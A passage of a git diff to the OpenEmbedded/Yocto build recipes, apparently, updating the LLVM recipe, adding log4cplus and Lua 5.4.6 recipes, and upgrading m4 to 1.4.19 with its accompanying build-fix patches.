+SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH};protocol=https \
file://0007-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
- "
+ file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2 \
+ file://llvm-config \
+ "
UPSTREAM_CHECK_GITTAGREGEX = "llvmorg-(?P<pver>\d+(\.\d+)+)"
@@ -58,13 +54,19 @@ def get_llvm_arch(bb, d, arch_var):
def get_llvm_host_arch(bb, d):
return get_llvm_arch(bb, d, 'HOST_ARCH')
+PACKAGECONFIG ??= "libllvm"
+PACKAGECONFIG:class-native = "${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'libllvm', '', d)}"
+# if optviewer OFF, force the modules to be not found or the ones on the host would be found
+PACKAGECONFIG[optviewer] = ",-DPY_PYGMENTS_FOUND=OFF -DPY_PYGMENTS_LEXERS_C_CPP_FOUND=OFF -DPY_YAML_FOUND=OFF,python3-pygments python3-pyyaml,python3-pygments python3-pyyaml"
+PACKAGECONFIG[libllvm] = ""
+
#
# Default to build all OE-Core supported target arches (user overridable).
#
LLVM_TARGETS ?= "AMDGPU;${@get_llvm_host_arch(bb, d)}"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4t = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DLLVM_ENABLE_EXPENSIVE_CHECKS=OFF \
@@ -76,109 +78,101 @@ EXTRA_OECMAKE += "-DLLVM_ENABLE_ASSERTIONS=OFF \
-DFFI_INCLUDE_DIR=$(pkg-config --variable=includedir libffi) \
-DLLVM_OPTIMIZED_TABLEGEN=ON \
-DLLVM_TARGETS_TO_BUILD='${LLVM_TARGETS}' \
+ -DLLVM_VERSION_SUFFIX='${VER_SUFFIX}' \
-DLLVM_TEMPORARILY_ALLOW_OLD_TOOLCHAIN=ON \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- -G Ninja"
+ -DCMAKE_BUILD_TYPE=Release \
+ "
-EXTRA_OECMAKE_append_class-target = "\
+EXTRA_OECMAKE:append:class-target = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-EXTRA_OECMAKE_append_class-nativesdk = "\
+EXTRA_OECMAKE:append:class-nativesdk = "\
-DCMAKE_CROSSCOMPILING:BOOL=ON \
-DLLVM_TABLEGEN=${STAGING_BINDIR_NATIVE}/llvm-tblgen${PV} \
-DLLVM_CONFIG_PATH=${STAGING_BINDIR_NATIVE}/llvm-config${PV} \
"
-do_configure_prepend() {
-# Fix paths in llvm-config
- sed -i "s|sys::path::parent_path(CurrentPath))\.str()|sys::path::parent_path(sys::path::parent_path(CurrentPath))).str()|g" ${S}/tools/llvm-config/llvm-config.cpp
- sed -ri "s#/(bin|include|lib)(/?\")#/\1/${LLVM_DIR}\2#g" ${S}/tools/llvm-config/llvm-config.cpp
- sed -ri "s#lib/${LLVM_DIR}#${baselib}/${LLVM_DIR}#g" ${S}/tools/llvm-config/llvm-config.cpp
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/tools/llvm-config/BuildVariables.inc
}
do_compile() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'libllvm', 'true', 'false', d)}; then
ninja -v ${PARALLEL_MAKE}
-}
-
-do_compile_class-native() {
+ else
ninja -v ${PARALLEL_MAKE} llvm-config llvm-tblgen
+ fi
}
do_install() {
- DESTDIR=${LLVM_INSTALL_DIR} ninja -v install
- install -D -m 0755 ${B}/bin/llvm-config ${D}${libdir}/${LLVM_DIR}/llvm-config
-
- install -d ${D}${bindir}/${LLVM_DIR}
- cp -r ${LLVM_INSTALL_DIR}${bindir}/* ${D}${bindir}/${LLVM_DIR}/
+ if ${@bb.utils.contains('PACKAGECONFIG', 'libllvm', 'true', 'false', d)}; then
+ DESTDIR=${D} ninja -v install
- install -d ${D}${includedir}/${LLVM_DIR}
- cp -r ${LLVM_INSTALL_DIR}${includedir}/* ${D}${includedir}/${LLVM_DIR}/
+ # llvm harcodes usr/lib as install path, so this corrects it to actual libdir
+ mv -T -n ${D}/${prefix}/lib ${D}/${libdir} || true
- install -d ${D}${libdir}/${LLVM_DIR}
+ # Remove opt-viewer: https://llvm.org/docs/Remarks.html
+ rm -rf ${D}${datadir}/opt-viewer
+ rmdir ${D}${datadir}
- # The LLVM sources have "/lib" embedded and so we cannot completely rely on the ${libdir} variable
- if [ -d ${LLVM_INSTALL_DIR}${libdir}/ ]; then
- cp -r ${LLVM_INSTALL_DIR}${libdir}/* ${D}${libdir}/${LLVM_DIR}/
- elif [ -d ${LLVM_INSTALL_DIR}${prefix}/lib ]; then
- cp -r ${LLVM_INSTALL_DIR}${prefix}/lib/* ${D}${libdir}/${LLVM_DIR}/
- elif [ -d ${LLVM_INSTALL_DIR}${prefix}/lib64 ]; then
- cp -r ${LLVM_INSTALL_DIR}${prefix}/lib64/* ${D}${libdir}/${LLVM_DIR}/
- fi
-
- # Remove unnecessary cmake files
- rm -rf ${D}${libdir}/${LLVM_DIR}/cmake
-
- ln -s ${LLVM_DIR}/libLLVM-${MAJOR_VERSION}${SOLIBSDEV} ${D}${libdir}/libLLVM-${MAJOR_VERSION}${SOLIBSDEV}
-
- # We'll have to delete the libLLVM.so due to multiple reasons...
- rm -rf ${D}${libdir}/${LLVM_DIR}/libLLVM.so
- rm -rf ${D}${libdir}/${LLVM_DIR}/libLTO.so
+ # reproducibility
+ sed -i -e 's,${WORKDIR},,g' ${D}/${libdir}/cmake/llvm/LLVMConfig.cmake
+ fi
}
-do_install_class-native() {
+do_install:append:class-native() {
install -D -m 0755 ${B}/bin/llvm-tblgen ${D}${bindir}/llvm-tblgen${PV}
install -D -m 0755 ${B}/bin/llvm-config ${D}${bindir}/llvm-config${PV}
- install -D -m 0755 ${B}/lib/libLLVM-${MAJOR_VERSION}.so ${D}${libdir}/libLLVM-${MAJOR_VERSION}.so
+ ln -sf llvm-config${PV} ${D}${bindir}/llvm-config
+}
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " llvm_sysroot_preprocess"
+
+llvm_sysroot_preprocess() {
+ install -d ${SYSROOT_DESTDIR}${bindir_crossscripts}/
+ install -m 0755 ${WORKDIR}/llvm-config ${SYSROOT_DESTDIR}${bindir_crossscripts}/
+ ln -sf llvm-config ${SYSROOT_DESTDIR}${bindir_crossscripts}/llvm-config${PV}
}
PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-libllvm ${PN}-liboptremarks ${PN}-liblto"
-RRECOMMENDS_${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
+RRECOMMENDS:${PN}-dev += "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liboptremarks"
-FILES_${PN}-bugpointpasses = "\
- ${libdir}/${LLVM_DIR}/BugpointPasses.so \
+FILES:${PN}-bugpointpasses = "\
+ ${libdir}/BugpointPasses.so \
"
-FILES_${PN}-libllvm = "\
- ${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.so \
+FILES:${PN}-libllvm = "\
${libdir}/libLLVM-${MAJOR_VERSION}.so \
+ ${libdir}/libLLVM.so.${MAJOR_VER}.${MINOR_VER} \
"
-FILES_${PN}-liblto += "\
- ${libdir}/${LLVM_DIR}/libLTO.so.* \
+FILES:${PN}-liblto += "\
+ ${libdir}/libLTO.so.* \
"
-FILES_${PN}-liboptremarks += "\
- ${libdir}/${LLVM_DIR}/libRemarks.so.* \
+FILES:${PN}-liboptremarks += "\
+ ${libdir}/libRemarks.so.* \
"
-FILES_${PN}-llvmhello = "\
- ${libdir}/${LLVM_DIR}/LLVMHello.so \
+FILES:${PN}-llvmhello = "\
+ ${libdir}/LLVMHello.so \
"
-FILES_${PN}-dev += " \
- ${libdir}/${LLVM_DIR}/llvm-config \
- ${libdir}/${LLVM_DIR}/libRemarks.so \
- ${libdir}/${LLVM_DIR}/libLLVM-${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}.so \
+FILES:${PN}-dev += " \
+ ${libdir}/llvm-config \
+ ${libdir}/libRemarks.so \
+ ${libdir}/libLLVM-${PV}.so \
"
-FILES_${PN}-staticdev += "\
- ${libdir}/${LLVM_DIR}/*.a \
+FILES:${PN}-staticdev += "\
+ ${libdir}/*.a \
"
-INSANE_SKIP_${PN}-libllvm += "dev-so"
+INSANE_SKIP:${PN}-libllvm += "dev-so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/log4cplus/log4cplus_2.1.1.bb b/meta/recipes-devtools/log4cplus/log4cplus_2.1.1.bb
new file mode 100644
index 0000000000..be3c787ab2
--- /dev/null
+++ b/meta/recipes-devtools/log4cplus/log4cplus_2.1.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "log4cplus provides a simple C++ logging API for log management"
+SECTION = "libs"
+HOMEPAGE = "http://sourceforge.net/projects/log4cplus/"
+DESCRIPTION = "log4cplus is a simple to use C++ logging API providing thread-safe, flexible, and arbitrarily granular control over log management and configuration. It is modelled after the Java log4j API."
+BUGTRACKER = "http://sourceforge.net/p/log4cplus/bugs/"
+
+LICENSE = "Apache-2.0 & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=41e8e060c26822886b592ab4765c756b"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}-stable/${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "42dc435928917fd2f847046c4a0c6086b2af23664d198c7fc1b982c0bfe600c1"
+
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/log4cplus/files/log4cplus-stable/"
+UPSTREAM_CHECK_REGEX = "log4cplus-stable/(?P<pver>\d+(\.\d+)+)/"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/lua/lua/lua.pc.in b/meta/recipes-devtools/lua/lua/lua.pc.in
new file mode 100644
index 0000000000..1fc288c4fe
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/lua.pc.in
@@ -0,0 +1,9 @@
+libdir=@LIBDIR@
+includedir=@INCLUDEDIR@
+
+Name: Lua
+Description: Lua language engine
+Version: @VERSION@
+Requires:
+Libs: -L${libdir} -llua -lm -ldl
+Cflags: -I${includedir}
diff --git a/meta/recipes-devtools/lua/lua/run-ptest b/meta/recipes-devtools/lua/lua/run-ptest
new file mode 100644
index 0000000000..8e085e1af9
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua/run-ptest
@@ -0,0 +1,19 @@
+#!/bin/sh
+
+cd test
+lua -e"_U=true" all.lua > lua-test.tmp
+
+echo "--- test output ---"
+cat lua-test.tmp
+echo ""
+echo ""
+echo "--- ptest result ---"
+
+grep "final OK \!\!\!" lua-test.tmp > /dev/null
+if [ $? -eq 0 ]; then
+ echo "PASS: lua"
+else
+ echo "FAIL: lua"
+fi
+
+rm -f lua-test.tmp
diff --git a/meta/recipes-devtools/lua/lua_5.4.6.bb b/meta/recipes-devtools/lua/lua_5.4.6.bb
new file mode 100644
index 0000000000..eabfc89575
--- /dev/null
+++ b/meta/recipes-devtools/lua/lua_5.4.6.bb
@@ -0,0 +1,66 @@
+SUMMARY = "Lua is a powerful light-weight programming language designed \
+for extending applications."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://doc/readme.html;beginline=303;endline=324;md5=e05449eb28c092473f854670c6e8375a"
+HOMEPAGE = "http://www.lua.org/"
+
+SRC_URI = "http://www.lua.org/ftp/lua-${PV}.tar.gz;name=tarballsrc \
+ file://lua.pc.in \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'http://www.lua.org/tests/lua-${PV_testsuites}-tests.tar.gz;name=tarballtest file://run-ptest ', '', d)} \
+ "
+
+# if no test suite matches PV release of Lua exactly, download the suite for the closest Lua release.
+PV_testsuites = "5.4.4"
+
+SRC_URI[tarballsrc.sha256sum] = "7d5ea1b9cb6aa0b59ca3dde1c6adcb57ef83a1ba8e5432c0ecd06bf439b3ad88"
+SRC_URI[tarballtest.sha256sum] = "04d28355cd67a2299dfe5708b55a0ff221ccb1a3907a3113cc103ccc05ac6aad"
+
+inherit pkgconfig binconfig ptest
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = ",,readline"
+
+TARGET_CC_ARCH += " -fPIC ${LDFLAGS}"
+EXTRA_OEMAKE = "'CC=${CC} -fPIC' 'MYCFLAGS=${CFLAGS} -fPIC' MYLDFLAGS='${LDFLAGS}' 'AR=ar rcD' 'RANLIB=ranlib -D'"
+
+do_configure:prepend() {
+ sed -i -e s:/usr/local:${prefix}:g src/luaconf.h
+ sed -i -e s:lib/lua/:${baselib}/lua/:g src/luaconf.h
+}
+
+do_compile () {
+ oe_runmake ${@bb.utils.contains('PACKAGECONFIG', 'readline', 'linux-readline', 'linux', d)}
+}
+
+do_install () {
+ oe_runmake \
+ 'INSTALL_TOP=${D}${prefix}' \
+ 'INSTALL_BIN=${D}${bindir}' \
+ 'INSTALL_INC=${D}${includedir}/' \
+ 'INSTALL_MAN=${D}${mandir}/man1' \
+ 'INSTALL_SHARE=${D}${datadir}/lua' \
+ 'INSTALL_LIB=${D}${libdir}' \
+ 'INSTALL_CMOD=${D}${libdir}/lua/5.4' \
+ install
+ install -d ${D}${libdir}/pkgconfig
+
+ sed -e s/@VERSION@/${PV}/ -e s#@LIBDIR@#${libdir}# -e s#@INCLUDEDIR@#${includedir}# ${WORKDIR}/lua.pc.in > ${WORKDIR}/lua.pc
+ install -m 0644 ${WORKDIR}/lua.pc ${D}${libdir}/pkgconfig/
+ rmdir ${D}${datadir}/lua/5.4
+ rmdir ${D}${datadir}/lua
+}
+
+do_install_ptest () {
+ cp -R --no-dereference --preserve=mode,links -v ${WORKDIR}/lua-${PV_testsuites}-tests ${D}${PTEST_PATH}/test
+}
+
+do_install_ptest:append:libc-musl () {
+ # locale tests does not work on musl, due to limited locale implementation
+ # https://wiki.musl-libc.org/open-issues.html#Locale-limitations
+ sed -i -e 's|os.setlocale("pt_BR") or os.setlocale("ptb")|false|g' ${D}${PTEST_PATH}/test/literals.lua
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit multilib_script
+MULTILIB_SCRIPTS = "${PN}-dev:${includedir}/luaconf.h"
diff --git a/meta/recipes-devtools/m4/m4-1.4.18.inc b/meta/recipes-devtools/m4/m4-1.4.18.inc
deleted file mode 100644
index a9b63c1bf6..0000000000
--- a/meta/recipes-devtools/m4/m4-1.4.18.inc
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Traditional Unix macro processor"
-HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
-DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
-compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
-GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
-
-inherit autotools texinfo ptest
-
-SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
- file://ac_config_links.patch \
- file://m4-1.4.18-glibc-change-work-around.patch \
- "
-SRC_URI_append_class-target = " file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://run-ptest \
- file://serial-tests-config.patch \
- file://0001-test-getopt-posix-fix.patch \
- "
-
-SRC_URI[md5sum] = "a077779db287adf4e12a035029002d28"
-SRC_URI[sha256sum] = "ab2633921a5cd38e48797bf5521ad259bdc4b979078034a3b790d7fec5493fab"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-EXTRA_OECONF += "--without-libsigsegv-prefix"
-
-EXTRA_OEMAKE += "'infodir=${infodir}'"
-
-do_compile_ptest() {
- cd ${B}/tests
- sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest() {
- cp -r ${B}/tests ${D}${PTEST_PATH}
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
- -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
- sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
- chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
- ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
- ${D}${PTEST_PATH}/tests/test-xalloc-die
-}
-
-
-RDEPENDS_${PN}-ptest += "make coreutils diffutils"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- locale-base-fr-fr.iso-8859-1 \
-"
-
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
-
diff --git a/meta/recipes-devtools/m4/m4-1.4.19.inc b/meta/recipes-devtools/m4/m4-1.4.19.inc
new file mode 100644
index 0000000000..fcc9e58270
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4-1.4.19.inc
@@ -0,0 +1,67 @@
+SUMMARY = "Traditional Unix macro processor"
+HOMEPAGE = "https://www.gnu.org/software/m4/m4.html"
+DESCRIPTION = "GNU m4 is an implementation of the traditional Unix macro processor. It is mostly SVR4 \
+compatible although it has some extensions (for example, handling more than 9 positional parameters to macros). \
+GNU M4 also has built-in functions for including files, running shell commands, doing arithmetic, etc."
+
+inherit autotools texinfo ptest gettext
+
+SRC_URI = "${GNU_MIRROR}/m4/m4-${PV}.tar.gz \
+ file://ac_config_links.patch \
+ file://0001-sigsegv-Fix-build-on-ppc-musl.patch \
+ file://0001-Define-alignof_slot-using-_Alignof-when-using-C11-or.patch \
+ "
+SRC_URI:append:class-target = " file://run-ptest \
+ file://serial-tests-config.patch \
+ "
+
+SRC_URI[md5sum] = "f4a2b0284d80353b995f8ef2385ed73c"
+SRC_URI[sha256sum] = "3be4a26d825ffdfda52a56fc43246456989a3630093cced3fbddf4771ee58a70"
+
+LICENSE = "GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464\
+ file://examples/COPYING;md5=4031593b2166d6c47cae282d944a7ede"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+EXTRA_OECONF += "--without-libsigsegv-prefix"
+
+EXTRA_OEMAKE += "'infodir=${infodir}'"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_LIBRARIES) $(check_PROGRAMS)' Makefile
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ cp -r ${B}/tests ${D}${PTEST_PATH}
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ cp ${S}/build-aux/update-copyright ${D}${PTEST_PATH}/tests/
+ sed -i 's;update-copyright;./update-copyright;g' ${D}${PTEST_PATH}/tests/test-update-copyright.sh
+ chmod 0755 ${D}${PTEST_PATH}/tests/test-mbrtowc-w32-1.sh ${D}${PTEST_PATH}/tests/test-spawn-pipe-main \
+ ${D}${PTEST_PATH}/tests/test-spawn-pipe-child ${D}${PTEST_PATH}/tests/test-version-etc \
+ ${D}${PTEST_PATH}/tests/test-xalloc-die
+
+ ln -s ptest ${D}${libdir}/${BPN}/${BP}
+}
+
+do_install_ptest:append:libc-glibc() {
+ sed -i -e "s;LOCALE_FR='fr_FR';LOCALE_FR='fr_FR.iso88591';g" \
+ -e "s;LOCALE_FR_UTF8='none';LOCALE_FR_UTF8='fr_FR.utf8';g" ${D}${PTEST_PATH}/tests/Makefile
+}
+
+RDEPENDS:${PN}-ptest += "make coreutils diffutils bash"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-fr-fr \
+ locale-base-fr-fr.iso-8859-1 \
+ glibc-gconv-iso8859-1 \
+"
+
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
+
diff --git a/meta/recipes-devtools/m4/m4-native_1.4.18.bb b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
index 407ad89330..407ad89330 100644
--- a/meta/recipes-devtools/m4/m4-native_1.4.18.bb
+++ b/meta/recipes-devtools/m4/m4-native_1.4.19.bb
diff --git a/meta/recipes-devtools/m4/m4/0001-Define-alignof_slot-using-_Alignof-when-using-C11-or.patch b/meta/recipes-devtools/m4/m4/0001-Define-alignof_slot-using-_Alignof-when-using-C11-or.patch
new file mode 100644
index 0000000000..8757abd7a0
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4/0001-Define-alignof_slot-using-_Alignof-when-using-C11-or.patch
@@ -0,0 +1,49 @@
+From b0fd3a58354b1f5ead891907979dfd3dd36840d5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 14 Jan 2023 14:55:03 -0800
+Subject: [PATCH] Define alignof_slot using _Alignof when using C11 or newer
+
+WG14 N2350 made very clear that it is an UB having type definitions
+within "offsetof" [1]. This patch enhances the implementation of macro
+alignof_slot to use builtin "_Alignof" to avoid undefined behavior on
+when using std=c11 or newer
+
+clang 16+ has started to flag this [2]
+
+Fixes build when using -std >= gnu11 and using clang16+ [3]
+
+[1] https://www.open-std.org/jtc1/sc22/wg14/www/docs/n2350.htm
+[2] https://reviews.llvm.org/D133574
+[3] https://public-inbox.org/bug-gnulib/20230114232744.215167-1-raj.khem@gmail.com/T/#u
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=2d404c7dd974cc65f894526f4a1b76bc1dcd8d82]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/alignof.h | 2 ++
+ 1 file changed, 2 insertions(+)
+
+--- a/lib/alignof.h
++++ b/lib/alignof.h
+@@ -18,19 +18,19 @@
+ #define _ALIGNOF_H
+
+ #include <stddef.h>
++#include "stdalign.h"
+
+ /* alignof_slot (TYPE)
+ Determine the alignment of a structure slot (field) of a given type,
+ at compile time. Note that the result depends on the ABI.
+- This is the same as alignof (TYPE) and _Alignof (TYPE), defined in
+- <stdalign.h> if __alignof_is_defined is 1.
++ This is the same as alignof (TYPE).
+ Note: The result cannot be used as a value for an 'enum' constant,
+ due to bugs in HP-UX 10.20 cc and AIX 3.2.5 xlc. */
+ #if defined __cplusplus
+ template <class type> struct alignof_helper { char __slot1; type __slot2; };
+ # define alignof_slot(type) offsetof (alignof_helper<type>, __slot2)
+ #else
+-# define alignof_slot(type) offsetof (struct { char __slot1; type __slot2; }, __slot2)
++# define alignof_slot(type) alignof (type)
+ #endif
+
+ /* alignof_type (TYPE)
diff --git a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch b/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch
new file mode 100644
index 0000000000..04320de63a
--- /dev/null
+++ b/meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch
@@ -0,0 +1,37 @@
+From 36d5e26f606e070553eb0fff1f738e61970be5d7 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 20:22:20 -0800
+Subject: [PATCH] sigsegv: Fix build on ppc/musl
+
+mcontext is not a standard layout so glibc and musl differ sadly.
+
+Fixes
+../../m4-1.4.19/lib/sigsegv.c: In function 'sigsegv_handler': ../../m4-1.4.19/lib/sigsegv.c:223:75: error: 'mcontext_t' has no member named 'uc_regs'; did you mean 'gregs'? 223 | # define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1] | ^~~~~~~
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/m4-patches/2022-03/msg00000.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/sigsegv.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/lib/sigsegv.c b/lib/sigsegv.c
+index 696a152..fa0c465 100644
+--- a/lib/sigsegv.c
++++ b/lib/sigsegv.c
+@@ -217,10 +217,10 @@ int libsigsegv_version = LIBSIGSEGV_VERSION;
+ # define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.gp_regs[1]
+ # else /* 32-bit */
+ /* both should be equivalent */
+-# if 0
+-# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.regs->gpr[1]
++# if ! defined __GLIBC__
++# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_regs->gregs[1]
+ # else
+-# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1]
++# define SIGSEGV_FAULT_STACKPOINTER ((ucontext_t *) ucp)->uc_mcontext.uc_regs->gregs[1]
+ # endif
+ # endif
+
+--
+2.35.1
+
diff --git a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch b/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
deleted file mode 100644
index 11508ee0e2..0000000000
--- a/meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 75bea7c72a919859674f493548653de88f96c798 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 22 Apr 2019 10:36:13 +0800
-Subject: [PATCH] test-getopt-posix fix
-
-fix below problem:
-test-getopt.h:754: assertion 'strcmp (argv[1], "donald") == 0' failed
-
-get this patch from
-https://github.com/habitat-sh/core-plans/blob/master/m4/fix-test-getopt-posix-with-glibc-2.26.patch
-
-Upstream-Status: Pending
-
-have report this bug to m4-discuss@gnu.org
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- tests/test-getopt-posix.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/tests/test-getopt-posix.c b/tests/test-getopt-posix.c
-index 5532271..2a3d511 100644
---- a/tests/test-getopt-posix.c
-+++ b/tests/test-getopt-posix.c
-@@ -22,6 +22,13 @@
- ftell link warning if we are not using the gnulib ftell module. */
- #define _GL_NO_LARGE_FILES
-
-+/*
-+ * Glibc 2.26 does hard include bits/getopt_posix.h which causes the system
-+ * to use glibc's getopt but the tests expect gnulib behavior. Until a better
-+ * fix is available this avoids that mis-resolution.
-+ */
-+#include <getopt.h>
-+
- /* POSIX and glibc provide the getopt() function in <unistd.h>, see
- http://pubs.opengroup.org/onlinepubs/9699919799/functions/getopt.html
- https://www.gnu.org/software/libc/manual/html_node/Using-Getopt.html
---
-2.7.4
-
diff --git a/meta/recipes-devtools/m4/m4/ac_config_links.patch b/meta/recipes-devtools/m4/m4/ac_config_links.patch
index 71edf59512..39fcd91896 100644
--- a/meta/recipes-devtools/m4/m4/ac_config_links.patch
+++ b/meta/recipes-devtools/m4/m4/ac_config_links.patch
@@ -12,20 +12,26 @@ source, and what we want is to is to not touch it.
